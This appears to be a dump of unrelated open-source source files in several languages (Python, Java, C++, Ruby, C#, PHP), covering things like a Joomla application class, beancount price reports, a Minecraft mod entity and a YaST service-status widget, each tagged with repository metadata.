# Cesta k souborům odkazujících relativně. Front-end by ji měl nastavit na místo,
# kde se pravděpodobně nachází data aplikace.
self.pre_path = "./"
self._dirty = True
def getDeserializedEvent (self):
"""
Událost zavolaná ihned po úspěšné deserializaci všech objektů
"""
return self.event_deserialized
def getSerializingEvent (self):
"""
Událost těsně před serializací objektů
"""
return self.event_pre_serialize
def setTitle (self, title):
"""
Nastaví název aplikace. Obvykle se zobrazí v hlavičce okna aplikace,
pokud to má pro daný front-end smysl.
@type title: string
"""
self._title = title
def getTitle (self):
"""
Vrátí název aplikace nastavený přes setTitle
@rtype: string
"""
return self._title
title = property(fget=lambda self: self.getTitle(), fset=lambda self, v: self.setTitle(v))
def getPrePath (self):
return self.pre_path
def setPrePath (self, pre_path):
self.pre_path = pre_path
def absolutePath (self, filename):
"""
Zkonvertuje relativní cestu na absolutní. Typické použití je při vyhledání datových souborů
aplikace, kdy absolutní cesta datových souborů je závislá na front-endu.
"""
return self.pre_path + filename
def getDisplayedForm (self):
"""
Vrátí aktuálně zobrazovaný formulář
"""
return self.displayed_form
def display (self, form):
"""
Zobrazí formulář, aniž by ho dala do fronty. (Tohle by asi mělo být protected)
"""
self.displayed_form = form
def pushForm (self, form):
self.forms_stack.append (form)
self.display (form)
def popForm (self, form):
oldform = self.forms_stack.pop ()
assert oldform == form
if len (self.forms_stack) > 0:
self.display (self.forms_stack[-1])
else:
self.display (None)
def writeFile (self, file):
"""
Vyžádá si uložení daného souboru. Typicky se tím způsobí uživatelská akce, kde si
uživatel vybere soubor, kam chce soubor uložit a následně se zavolá metoda file.writeTo
@type file: file.FileInput
"""
pass
def readFile (self, file):
"""
Načte soubor. Typicky se tím způsobí uživatelská akce, kde si
uživatel vybere soubor, ze kterého se má číst a následně se zavolá metoda file.readFrom
@type file: file.FileOutput
"""
pass
| fregaham/DISP | disp/application.py | Python | gpl-2.0 | 3,611 |
package br.trindade.androidbasics.api;
import br.trindade.androidbasics.model.GitUser;
import retrofit.Callback;
import retrofit.http.GET;
import retrofit.http.Path;
/**
* @author maiko.trindade
*/
public interface GitApi {
@GET("/users/{user}")
void getFeed(@Path("user") String user, Callback<GitUser> response);
} | maikotrindade/android-basics | app/src/main/java/br/trindade/androidbasics/api/GitApi.java | Java | gpl-2.0 | 329 |
#include "RECT.h"
RECT::RECT() {
}
RECT::RECT(int64_t Xmin, int64_t Xmax, int64_t Ymin, int64_t Ymax) {
this->Xmin = Xmin;
this->Xmax = Xmax;
this->Ymin = Ymin;
this->Ymax = Ymax;
}
RECT::RECT(RECT *r) {
Xmin = r->Xmin;
Xmax = r->Xmax;
Ymin = r->Ymin;
Ymax = r->Ymax;
}
RECT::RECT(DataStream * ds) {
readData(ds);
}
void RECT::readData(DataStream *ds) {
nBits = ds->readUB(5);
Xmin = ds->readSB((unsigned) nBits);
Xmax = ds->readSB((unsigned) nBits);
Ymin = ds->readSB((unsigned) nBits);
Ymax = ds->readSB((unsigned) nBits);
ds->alignByte();
}
| Yukariin/libswf | src/RECT.cpp | C++ | gpl-2.0 | 564 |
"""
User management tests package.
"""
from seleniumTests.tests.userManagement.addUser import AddUser
TESTS_TO_RUN = [ AddUser ]
| allembedded/t-case-mx | unitTest/seleniumTests/tests/userManagement/__init__.py | Python | gpl-2.0 | 133 |
package com.klaiber.backmeup;
import java.io.File;
import java.util.logging.Logger;
import org.apache.commons.io.FileUtils;
public class FileRestoreWorker implements Runnable {
@Override
public void run() {
// TODO Auto-generated method stub
}
/**
* @param args
*/
public static boolean restoreFile(String sourceDrivePath, String sourceDriveName, String hash, String targetFile, boolean overwrite){
Logger log = LogHandler.getLogger();
try{
File sourceDrive = new File(sourceDrivePath);
while (FileCopyWorker.checkDrive(sourceDrive, sourceDriveName, 0, 0, 0)!= 0){
log.info("insert drive ["+sourceDriveName+"] to ["+sourceDrivePath+"]");
Thread.sleep(30000);
}
File srcdir = new File (sourceDrive.getAbsolutePath()+"/"+hash.substring(0, 2)+"/"+hash.substring(0, 4)+((hash.startsWith("com")||hash.startsWith("lpt"))?"_":"")+"/"+hash.substring(0, 6)+"/"+hash.substring(0, 8));
File src = new File(srcdir.getAbsolutePath()+"/"+hash);
File tgt = new File(targetFile);
File tgtdir = tgt.getParentFile();
//check if target dir exist and create if necessary
if (!tgtdir.exists()){
tgtdir.mkdirs();
}
// check if target exist if overwrite = false
if (!overwrite){
if (tgt.exists()){
log.warning("File allready exists ["+targetFile+"] from ["+sourceDriveName+"] Hash ["+hash+"]");
return false;
}
}
FileUtils.copyFile(src, tgt);
} catch (Exception e) {
e.printStackTrace();
log.warning("Error restoring ["+targetFile+"] from ["+sourceDriveName+"] Hash ["+hash+"]");
log.warning(e.getMessage());
return false;
}
log.info("Successfull restored ["+targetFile+"] from ["+sourceDriveName+"] Hash ["+hash+"]");
return true;
}
}
| simonjk/BackMeUp | BackMeUp/src/com/klaiber/backmeup/FileRestoreWorker.java | Java | gpl-2.0 | 1,889 |
# Copyright (c) 2015 SUSE LLC.
# All Rights Reserved.
# This program is free software; you can redistribute it and/or
# modify it under the terms of version 2 or 3 of the GNU General
# Public License as published by the Free Software Foundation.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program; if not, contact SUSE LLC.
# To contact Novell about this file by physical or electronic mail,
# you may find current contact information at www.suse.com
require "yast"
Yast.import "UI"
module UI
# Widgets for managing the status of services (both currently and on system
# boot) and the behavior associated to those widgets
#
# As long as #handle_input is invoked in the event loop, the widget will
# handle interactive starting and stopping of the service on user demand.
#
# It also provides checkboxes (reload_flag and enabled_flag) for the user
# to specify whether the service must be reloaded/restarted after
# configuration changes and whether it must be enabled at boot time.
#
# @deprecated Use CWM::ServiceWidget instead.
class ServiceStatus
include Yast::UIShortcuts
include Yast::I18n
include Yast::Logger
# @param service [Yast2::Systemd::Service] systemd service. Usually the easiest way
# is just calling `Yast2::Systemd::Service.find("name_of_the_service")`
# Note that this widget will #start and #stop the service by itself but
# the actions referenced by the flags (reloading and enabling/disabling)
# are expected to be done by the caller, when the whole configuration is
# written.
# @param reload_flag [Boolean] Initial value for the "reload" checkbox.
# Keep in mind it will always be displayed as unchecked if the service
# is not active, despite the real value.
# @param reload_flag_label [Symbol] Type of label for the "reload" checkbox.
# :reload means the service will be reloaded.
# :restart means the service will be restarted.
def initialize(service, reload_flag: true, reload_flag_label: :reload)
@service = service
@reload_flag = reload_flag
@enabled_flag = @service.enabled?
@id_prefix = "_srv_status_#{@service.name}"
textdomain "base"
@reload_label = if reload_flag_label == :restart
_("Restart After Saving Settings")
else
_("Reload After Saving Settings")
end
end
# @return [YaST::Term]
def widget
Frame(
_("Service Status"),
VBox(
ReplacePoint(Id("#{id_prefix}_status"), status_widget),
reload_widget,
VSpacing(),
on_boot_widget
)
)
end
# Handles the input triggered by the widgets, this method must be called in
# the event loop of the dialog using the component.
#
# @return [Symbol] Label for the managed event
def handle_input(input)
case input
when "#{id_prefix}_stop"
@service.stop
refresh
:stop
when "#{id_prefix}_start"
@service.start
refresh
:start
when "#{id_prefix}_reload"
@reload_flag = Yast::UI.QueryWidget(Id(input), :Value)
:reload_flag
when "#{id_prefix}_enabled"
@enabled_flag = Yast::UI.QueryWidget(Id(input), :Value)
:enabled_flag
else
log.info "Input not handled by ServiceStatus: #{input}"
:ignored
end
end
# Updates the widget to reflect the current status of the service and the
# settings
def refresh
Yast::UI.ChangeWidget(Id("#{id_prefix}_reload"), :Enabled, @service.active?)
Yast::UI.ChangeWidget(Id("#{id_prefix}_reload"), :Value, @service.active? && @reload_flag)
Yast::UI.ChangeWidget(Id("#{id_prefix}_enabled"), :Value, @enabled_flag)
Yast::UI.ReplaceWidget(Id("#{id_prefix}_status"), status_widget)
end
# Checks if the user requested the service to be enabled on boot
#
# @return [Boolean]
def enabled_flag?
@enabled_flag
end
# Checks if the user requested the service to be reloaded when saving
#
# @return [Boolean]
def reload_flag?
@reload_flag
end
# Content for the help
def help
# TRANSLATORS: do not modify %{reload_label}
_(
"<p><b><big>Current status</big></b><br>\n"\
"Displays the current status of the service. The status will remain "\
"the same after saving the settings, independently of the value of "\
"'start service during boot'.</p>\n"\
"<p><b><big>%{reload_label}</big></b><br>\n"\
"Only applicable if the service is currently running. "\
"Ensures the running service reloads the new configuration after "\
"saving it (either finishing the dialog or pressing the apply "\
"button).</p>\n"\
"<p><b><big>Start During System Boot</big></b><br>\n"\
"Check this field to enable the service at system boot. "\
"Un-check it to disable the service. "\
"This does not affect the current status of the service in the already "\
"running system.</p>\n"
) % { reload_label: @reload_label }
end
protected
attr_reader :id_prefix
# Widget displaying the status and associated buttons
def status_widget
Left(
HBox(
Label(_("Current status:")),
Label(" "),
*label_and_action_widgets
)
)
end
# Widget to configure the status on boot
def on_boot_widget
Left(
CheckBox(
Id("#{id_prefix}_enabled"),
Opt(:notify),
_("Start During System Boot"),
@enabled_flag
)
)
end
# Widget to configure reloading of the running service
def reload_widget
opts = [:notify]
opts << :disabled unless @service.active?
Left(
CheckBox(
Id("#{id_prefix}_reload"),
Opt(*opts),
@reload_label,
@service.active? && @reload_flag
)
)
end
def label_and_action_widgets
# use active and not running. See https://bugzilla.suse.com/show_bug.cgi?id=1080738#c3
if @service.active?
[
# TRANSLATORS: status of a service
Label(_("running")),
Label(" "),
PushButton(Id("#{id_prefix}_stop"), _("Stop now"))
]
else
[
# TRANSLATORS: status of a service
Label(_("stopped")),
Label(" "),
PushButton(Id("#{id_prefix}_start"), _("Start now"))
]
end
end
end
end
| mchf/yast-yast2 | library/general/src/lib/ui/service_status.rb | Ruby | gpl-2.0 | 6,853 |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Engine.Robotics
{
using Engine.Computer;
using Engine.Exceptions;
using Engine.Items;
public class ProgrammableCargoBay : ProgrammableComponentBase
{
private readonly List<CollectableItem> items = new List<CollectableItem>();
public ProgrammableCargoBay(float capacity)
{
var capacityProperty = new ProgrammableProperty<ComputerTypeFloat>(
"capacity",
() => new ComputerTypeFloat(this.Capacity));
var loadProperty = new ProgrammableProperty<ComputerTypeFloat>(
"load",
() => new ComputerTypeFloat(this.TotalMass));
this.RegisterProperty(capacityProperty);
this.RegisterProperty(loadProperty);
this.RegisterMethod(new ProgrammableMethod("items", ct => this.ListItems()));
Capacity = capacity;
}
public override string Name
{
get
{
return "cargobay";
}
protected set
{
}
}
public float Capacity { get; private set; }
public IList<CollectableItem> Items
{
get
{
return items;
}
}
public float TotalMass
{
get
{
return items.Sum(i => i.Mass);
}
}
private ComputerType ListItems()
{
var itemList = this.Items.Select(i => new ComputerTypeString(i.ToString()));
return new ComputerTypeList(itemList);
}
public void LoadItem(CollectableItem item)
{
if (Capacity < TotalMass + item.Mass)
{
throw new RobotException(string.Format("Cannot pick up '{0}' insufficient room in cargo bay.", item.Name));
}
items.Add(item);
}
public CollectableItem FindItemByName(string name)
{
var item = Items.FirstOrDefault(i => i.Name.Equals(name, StringComparison.OrdinalIgnoreCase));
if(item == null)
throw new RobotException(string.Format("Item '{0}' was not found in cargo bay.", name));
return item;
}
}
}
| simonejsing/RobotEnclaves | RobotEnclaves/Engine/Robotics/ProgrammableCargoBay.cs | C# | gpl-2.0 | 2,403 |
package info.jbcs.minecraft.chisel;
import java.util.Random;
import net.minecraft.entity.EntityLivingBase;
import net.minecraft.entity.projectile.EntityThrowable;
import net.minecraft.util.MovingObjectPosition;
import net.minecraft.world.World;
public class EntityCloudInABottle extends EntityThrowable {
Random rand = new Random();
public EntityCloudInABottle(World par1World) {
super(par1World);
}
public EntityCloudInABottle(World par1World, EntityLivingBase par2EntityLiving) {
super(par1World, par2EntityLiving);
}
public EntityCloudInABottle(World par1World, double x, double y, double z) {
super(par1World, x, y, z);
}
@Override
protected void onImpact(MovingObjectPosition movingobjectposition) {
if (worldObj.isRemote)
return;
int x = movingobjectposition.blockX;
int y = movingobjectposition.blockY;
int z = movingobjectposition.blockZ;
switch (movingobjectposition.sideHit) {
case 0:
y--;
break;
case 1:
y++;
break;
case 2:
z--;
break;
case 3:
z++;
break;
case 4:
x--;
break;
case 5:
x++;
break;
}
generate(worldObj, rand, x, y, z, 40);
// worldObj.playSound(this.posX, this.posY, this.posZ, "random.glass",
// 1.0F, worldObj.rand.nextFloat() * 0.1F + 0.9F, false);
worldObj.playAuxSFX(2002, (int) Math.round(this.posX), (int) Math.round(this.posY), (int) Math.round(this.posZ), 2);
setDead();
}
public boolean generate(World world, Random random, int gx, int gy, int gz, int numberOfBlocks) {
int X[] = new int[9];
int Y[] = new int[9];
int Z[] = new int[9];
for (int dir = 0; dir < 9; dir++) {
X[dir] = gx;
Y[dir] = gy;
Z[dir] = gz;
}
int count = 0;
while (count < numberOfBlocks) {
for (int dir = 0; dir < 9; dir++) {
if (count >= numberOfBlocks)
break;
int dx = dir % 3 - 1;
int dz = dir / 3 - 1;
if (dx == 0 && dz == 0)
continue;
X[dir] += random.nextInt(3) - 1 + dx;
Z[dir] += random.nextInt(3) - 1 + dz;
Y[dir] += random.nextInt(2) * (random.nextInt(3) - 1);
int x = X[dir];
int y = Y[dir];
int z = Z[dir];
for (int j2 = x; j2 < x + random.nextInt(4) + 1; j2++) {
for (int k2 = y; k2 < y + random.nextInt(1) + 2; k2++) {
for (int l2 = z; l2 < z + random.nextInt(4) + 1; l2++) {
if (world.getBlockId(j2, k2, l2) == 0 && Math.abs(j2 - x) + Math.abs(k2 - y) + Math.abs(l2 - z) < 4 * 1 + random.nextInt(2)) {
world.setBlock(j2, k2, l2, Chisel.blockCloud.blockID);
count++;
}
}
}
}
}
}
System.out.println("Created " + count + " cloud blocks.");
return true;
}
}
| EoD/Chisel-Legacy | src/main/java/info/jbcs/minecraft/chisel/EntityCloudInABottle.java | Java | gpl-2.0 | 2,633 |
/*
* Copyright (C) 2009-2018 Slava Semushin <slava.semushin@gmail.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package ru.mystamps.web.feature.collection;
import lombok.Getter;
import ru.mystamps.web.dao.dto.LinkEntityDto;
import ru.mystamps.web.feature.series.SeriesInfoDto;
@Getter
public class SeriesInCollectionDto extends SeriesInfoDto {
// SeriesInfoDto.quantity holds number of stamps in a series, while user may
// have less stamps in his collection
private final Integer numberOfStamps;
@SuppressWarnings("checkstyle:parameternumber")
public SeriesInCollectionDto(
Integer id,
LinkEntityDto category,
LinkEntityDto country,
Integer releaseDay, Integer releaseMonth, Integer releaseYear,
Integer quantity,
Boolean perforated,
Integer numberOfStamps) {
super(id, category, country, releaseDay, releaseMonth, releaseYear, quantity, perforated);
this.numberOfStamps = numberOfStamps;
}
}
| aarexer/mystamps | src/main/java/ru/mystamps/web/feature/collection/SeriesInCollectionDto.java | Java | gpl-2.0 | 1,616 |
import coverage
from unittest import TextTestRunner, TestLoader
from os.path import split, join, abspath
from os import chdir
if __name__ == "__main__":
project_dir = split(split(abspath(__file__))[0])[0]
chdir(project_dir)
cov = coverage.coverage(branch=True)
cov.start()
suite = TestLoader().discover(".", pattern="test_*.py")
TextTestRunner(verbosity=2).run(suite)
cov.stop()
cov.save()
cov.html_report()
| mkli90/Taz | bin/runcoverage.py | Python | gpl-2.0 | 447 |
<?php include_once (TEMPLATEPATH . '/inc/_data.php' );?>
<?php include_once (TEMPLATEPATH . '/utils.php' );?>
<?php
/* Template Name: Alojamientos Zona Puglia Matera*/
get_header();
$xml_zona='Zona Matera'; // String de zona, como aparece en el XML del Backoffice
?>
<div class="container nopadding shadow">
<!-- Main -->
<div class="container shadow">
<div class="row">
<?php $submenu=2; include_once (TEMPLATEPATH . '/inc/menu-sub-puglia.php' );?>
<main class="main main-left col-md-9 col-sm-9 col-xs-12">
<h1>Alojamientos en Matera
<i class="fa fa-compass pull-right rotate<?php echo $data[$zona]['position'] ?>"></i></h1>
<p class="spacer">
Matera está al centro oeste de Puglia, capital de la vecina región de Basilicata, un lugar hermoso y poco conocido del sur de Italia. Matera se hizo famosa desde cuando la UNESCO decidió incluirla en el listado del patrimonio de la humanidad y su mayor característica es que en la ciudad vieja las casas están enteramente excavadas en la roca caliza. Otro lugar interesante de la Basilicata es el Metaponto con su zona arqueológica y la proximidad a la costa lucana. También la ‘pugliese’ Taranto está muy cerca y merece una visita a su marinero casco antiguo. Nuestro catálogo de alojamientos de esta zona no es extenso pero hemos seleccionado lugares ideales para vivir plenamente esta zona del sur de Italia.
</p>
<?php
$filtrado = $filtrados[$xml_zona];
$fichas = lista_alojamientos_zona($xml_zona, $filtrado);
$site_root = site_url();
foreach ($fichas as $ficha) { ?>
<div class="row list linkable">
<div class="col-md-2 col-sm-2 col-xs-4 offset-0"> <a href="<?php echo $site_root?>/ficha?page=<?php echo $ficha['id']; ?>"><img src="<?php echo $ficha['photo']?>" class="img-rounded img-responsive"></a> </div>
<div class="col-md-8 col-sm-8 col-xs-8 description">
<h2><a href="<?php echo $site_root?>/ficha?page=<?php echo $ficha['id']; ?>"><?php echo $ficha['name']; ?></a></h2>
<span class="text-muted"><?php echo $ficha['locality']?></span>
<p class="hidden-xs"><?php echo $ficha['description']?></p>
</div>
<div class="col-md-2 col-sm-2 hidden-xs offset-0"> <a href="#"><img src="http://maps.google.com/maps/api/staticmap?center=<?php echo $ficha['lat']?>,<?php echo $ficha['lon']?>&zoom=6&size=120x90&markers=color:orange|<?php echo $ficha['lat']?>,<?php echo $ficha['lon']?>&sensor=false&key=ABQIAAAAMODomaaa8tP-qfkUyBEOJRQ3scZ6SVrhgLe-YKthzIvFUUaJMBQeYrU5KKfF8g70UdAii8s6bupyBQ" class="img-rounded img-responsive"></a> </div>
</div>
<?php } ?>
<br/>
<div>
</main>
<?php include_once (TEMPLATEPATH . '/inc/menu-right-alojamientos-puglia.php' );?>
</div>
</div>
</div>
<?php include_once (TEMPLATEPATH . '/inc/teaser.php' );?>
<?php get_footer(); ?>
| cdimou/trinakria | wp-content/themes/Trinakria/puglia_alojamientos_matera.php | PHP | gpl-2.0 | 2,900 |
package pt.c07bd.s04prepared;
import java.io.IOException;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.Scanner;
import pt.c07bd.lib.Database;
public class App03ConsultaComPrepare
{
public static void main(String args[])
{
try {
Database bd = Database.getInstance();
Connection dbConexao = bd.getConnection();
executaConsulta(dbConexao);
bd.releaseConnection();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (SQLException e) {
e.printStackTrace();
}
}
public static void executaConsulta(Connection conexao)
{
try {
Scanner teclado = new Scanner(System.in);
System.out.print("Digite o titulo: ");
String tituloSelecao = teclado.nextLine();
PreparedStatement comando = conexao.prepareStatement(
"SELECT * FROM Marcadores WHERE Titulo = ?");
comando.setString(1, tituloSelecao);
ResultSet resultado = comando.executeQuery();
while (resultado.next())
{
String titulo = resultado.getString("Titulo"),
endereco = resultado.getString("Endereco");
int acessos = resultado.getInt("Acessos");
String categoria = resultado.getString("Categoria");
System.out.println(titulo + "; " + endereco + "; " + acessos + "; " + categoria);
}
comando.close();
} catch (SQLException erro) {
erro.printStackTrace();
}
}
} | santanche/java2learn | src/java/src/pt/c07bd/s04prepared/App03ConsultaComPrepare.java | Java | gpl-2.0 | 1,880 |
# -*- coding: utf8 -*-
from django.shortcuts import render, redirect
from django.http import HttpResponse
from django.contrib.auth.decorators import login_required
from django.views.decorators.http import require_POST
from .models import Comment
from lesson.models import Lesson
import json
@login_required
@require_POST
def create_comment(request):
result = False
message = ''
lessonId = int(request.POST.get('lesson'))
try:
lesson = Lesson.objects.get(id=lessonId)
except:
lesson = None
if lesson:
content = request.POST.get('content', None)
if content:
comment = Comment.objects.create(lesson=lesson,
content=content, user=request.user, name=request.user.username)
result = True
else:
message = '表单内容不全'
else:
message = '课程不存在'
# return HttpResponse(json.dumps({
# 'result': result,
# 'message': message,
# }))
return redirect('/lesson/' + str(lessonId) + '/')
| chenzeyuczy/keba | src/comment/views.py | Python | gpl-2.0 | 1,049 |
<?php
/*
** Zabbix
** Copyright (C) 2001-2015 Zabbix SIA
**
** This program is free software; you can redistribute it and/or modify
** it under the terms of the GNU General Public License as published by
** the Free Software Foundation; either version 2 of the License, or
** (at your option) any later version.
**
** This program is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
** GNU General Public License for more details.
**
** You should have received a copy of the GNU General Public License
** along with this program; if not, write to the Free Software
** Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
**/
function get_last_event_by_triggerid($triggerId) {
$dbEvents = DBfetch(DBselect(
'SELECT e.*'.
' FROM events e'.
' WHERE e.objectid='.zbx_dbstr($triggerId).
' AND e.source='.EVENT_SOURCE_TRIGGERS.
' AND e.object='.EVENT_OBJECT_TRIGGER.
' ORDER BY e.objectid DESC,e.object DESC,e.eventid DESC',
1
));
return $dbEvents ? $dbEvents : false;
}
/**
* Get acknowledgement table.
*
* @param array $event
* @param array $event['acknowledges']
* @param array $event['acknowledges']['clock']
* @param array $event['acknowledges']['alias']
* @param array $event['acknowledges']['message']
*
* @return CTableInfo
*/
function makeAckTab($event) {
$acknowledgeTable = new CTableInfo(_('No acknowledges found.'));
$acknowledgeTable->setHeader(array(_('Time'), _('User'), _('Comments')));
if (!empty($event['acknowledges']) && is_array($event['acknowledges'])) {
foreach ($event['acknowledges'] as $acknowledge) {
$acknowledgeTable->addRow(array(
zbx_date2str(_('d M Y H:i:s'), $acknowledge['clock']),
getUserFullname($acknowledge),
new CCol(zbx_nl2br($acknowledge['message']), 'wraptext')
));
}
}
return $acknowledgeTable;
}
| gplessis/dotdeb-zabbix | frontends/php/include/acknow.inc.php | PHP | gpl-2.0 | 1,954 |
"""Miscellaneous report classes.
"""
__author__ = "Martin Blais <blais@furius.ca>"
import datetime
import re
from beancount.reports import report
from beancount.reports import table
from beancount.reports import gviz
from beancount.parser import printer
from beancount.core import data
from beancount.core import amount
from beancount.core import account
from beancount.core import getters
from beancount.ops import prices
from beancount.ops import lifetimes
class CommoditiesReport(report.TableReport):
"""Print out a list of commodities."""
names = ['commodities']
default_format = 'text'
def generate_table(self, entries, errors, options_map):
price_map = prices.build_price_map(entries)
return table.create_table([(base_quote,)
for base_quote in sorted(price_map.forward_pairs)],
[(0, "Base/Quote", self.formatter.render_commodity)])
class CommodityLifetimes(report.TableReport):
"""Print out a list of lifetimes of each commodity."""
names = ['lifetimes']
default_format = 'text'
@classmethod
def add_args(cls, parser):
parser.add_argument('-c', '--compress-days', type=int,
action='store', default=None,
help="The number of unused days to allow for continuous usage.")
def render_text(self, entries, errors, options_map, file):
lifetimes_map = lifetimes.get_commodity_lifetimes(entries)
if self.args.compress_days:
lifetimes_map = lifetimes.compress_lifetimes_days(lifetimes_map,
self.args.compress_days)
name_map = {pair: '{}/{}'.format(pair[0], pair[1]) if pair[1] else pair[0]
for pair in lifetimes_map.keys()}
ccywidth = max(map(len, name_map.values()))
for currency, lifetime in sorted(lifetimes_map.items(),
key=lambda x: (x[1][0][0], x[0])):
file.write('{:{width}}: {}\n'.format(
name_map[currency],
' / '.join('{} - {}'.format(begin, end or '')
for begin, end in lifetime),
width=ccywidth))
class CommodityPricesReport(report.TableReport):
"""Print all the prices for a particular commodity."""
names = ['prices']
default_format = 'text'
@classmethod
def add_args(cls, parser):
parser.add_argument('-c', '--commodity', '--currency',
action='store', default=None,
help="The commodity pair to display.")
def get_date_rates(self, entries):
if not self.args.commodity:
self.parser.error("Commodity pair must be specified (in BASE/QUOTE format)")
if not re.match('{ccy}/{ccy}$'.format(ccy=amount.CURRENCY_RE),
self.args.commodity):
self.parser.error(('Invalid commodity pair "{}"; '
'must be in BASE/QUOTE format').format(self.args.commodity))
price_map = prices.build_price_map(entries)
try:
date_rates = prices.get_all_prices(price_map, self.args.commodity)
except KeyError:
self.parser.error(
"Commodity not present in database: {}".format(self.args.commodity))
return date_rates
def generate_table(self, entries, errors, options_map):
date_rates = self.get_date_rates(entries)
return table.create_table(date_rates,
[(0, "Date", datetime.date.isoformat),
(1, "Price", '{:.5f}'.format)])
def render_htmldiv(self, entries, errors, options_map, file):
date_rates = self.get_date_rates(entries)
dates, rates = zip(*date_rates)
scripts = gviz.gviz_timeline(dates,
{'rates': rates, 'rates2': rates},
css_id='chart')
file.write('<div id="prices">\n')
super().render_htmldiv(entries, errors, options_map, file)
file.write('<scripts>\n')
file.write(scripts)
file.write('</scripts>\n')
file.write('<div id="chart" style="height: 512px"></div>\n')
file.write('</div>\n') # prices
class PricesReport(report.Report):
"""Print out the unnormalized price entries that we input.
Unnormalized means that we may render both (base,quote) and (quote,base).
This can be used to rebuild a prices database without having to share the
entire ledger file.
Note: this type of report should be removed once we have filtering on
directive type, this is simply the 'print' report with type:price. Maybe
rename the 'pricedb' report to just 'prices' for simplicity's sake.
"""
names = ['all_prices']
default_format = 'beancount'
def render_beancount(self, entries, errors, options_map, file):
price_entries = [entry
for entry in entries
if isinstance(entry, data.Price)]
dcontext = options_map['dcontext']
printer.print_entries(price_entries, dcontext, file=file)
class PriceDBReport(report.Report):
"""Print out the normalized price entries from the price db.
Normalized means that we print prices in the most common (base, quote) order.
This can be used to rebuild a prices database without having to share the
entire ledger file.
Only the forward prices are printed; which (base, quote) pair is selected is
selected based on the most common occurrence between (base, quote) and
(quote, base). This is done in the price map.
"""
names = ['pricedb', 'pricesdb', 'prices_db']
default_format = 'beancount'
def render_beancount(self, entries, errors, options_map, file):
dcontext = options_map['dcontext']
price_map = prices.build_price_map(entries)
meta = data.new_metadata('<report_prices_db>', 0)
for base_quote in price_map.forward_pairs:
price_list = price_map[base_quote]
base, quote = base_quote
for date, price in price_list:
entry = data.Price(meta, date, base, amount.Amount(price, quote))
file.write(printer.format_entry(entry, dcontext))
file.write('\n')
class TickerReport(report.TableReport):
"""Print a parseable mapping of (base, quote, ticker, name) for all commodities."""
names = ['tickers', 'symbols']
def generate_table(self, entries, errors, options_map):
commodity_map = getters.get_commodity_map(entries, options_map)
ticker_info = getters.get_values_meta(commodity_map, 'name', 'ticker', 'quote')
price_rows = [
(currency, cost_currency, ticker, name)
for currency, (name, ticker, cost_currency) in sorted(ticker_info.items())
if ticker]
return table.create_table(price_rows,
[(0, "Currency"),
(1, "Cost-Currency"),
(2, "Symbol"),
(3, "Name")])
__reports__ = [
CommoditiesReport,
CommodityLifetimes,
CommodityPricesReport,
PricesReport,
PriceDBReport,
TickerReport,
]
| iocoop/beancount | src/python/beancount/reports/price_reports.py | Python | gpl-2.0 | 7,389 |
<?php
class Patients_info extends \Eloquent {
protected $table = 'patients_info';
protected $fillable = ['file_number',
'name',
'id_number',
'residence',
'patient_phone_number',
'sex',
'age',
'marital_status',
'next_of_keen',
'keen_phone_number',
'postal_address',
'email'];
} | Meritei/FINAL-MTRH | Mtrh/app/models/Patients_info.php | PHP | gpl-2.0 | 288 |
<?php
/**
* Joomla! Content Management System
*
* @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\CMS\Application;
\defined('JPATH_PLATFORM') or die;
use Joomla\Application\SessionAwareWebApplicationTrait;
use Joomla\Application\Web\WebClient;
use Joomla\CMS\Authentication\Authentication;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Event\AbstractEvent;
use Joomla\CMS\Event\ErrorEvent;
use Joomla\CMS\Exception\ExceptionHandler;
use Joomla\CMS\Extension\ExtensionManagerTrait;
use Joomla\CMS\Factory;
use Joomla\CMS\Filter\InputFilter;
use Joomla\CMS\Input\Input;
use Joomla\CMS\Language\Language;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Log\Log;
use Joomla\CMS\Menu\AbstractMenu;
use Joomla\CMS\Pathway\Pathway;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Profiler\Profiler;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Router\Router;
use Joomla\CMS\Session\MetadataManager;
use Joomla\CMS\Session\Session;
use Joomla\CMS\Uri\Uri;
use Joomla\DI\Container;
use Joomla\DI\ContainerAwareInterface;
use Joomla\DI\ContainerAwareTrait;
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
/**
* Joomla! CMS Application class
*
* @since 3.2
*/
abstract class CMSApplication extends WebApplication implements ContainerAwareInterface, CMSWebApplicationInterface
{
use ContainerAwareTrait, ExtensionManagerTrait, ExtensionNamespaceMapper, SessionAwareWebApplicationTrait;
/**
* Array of options for the \JDocument object
*
* @var array
* @since 3.2
*/
protected $docOptions = array();
/**
* Application instances container.
*
* @var CmsApplication[]
* @since 3.2
*/
protected static $instances = array();
/**
* The scope of the application.
*
* @var string
* @since 3.2
*/
public $scope = null;
/**
* The client identifier.
*
* @var integer
* @since 4.0.0
*/
protected $clientId = null;
/**
* The application message queue.
*
* @var array
* @since 4.0.0
*/
protected $messageQueue = array();
/**
* The name of the application.
*
* @var string
* @since 4.0.0
*/
protected $name = null;
/**
* The profiler instance
*
* @var Profiler
* @since 3.2
*/
protected $profiler = null;
/**
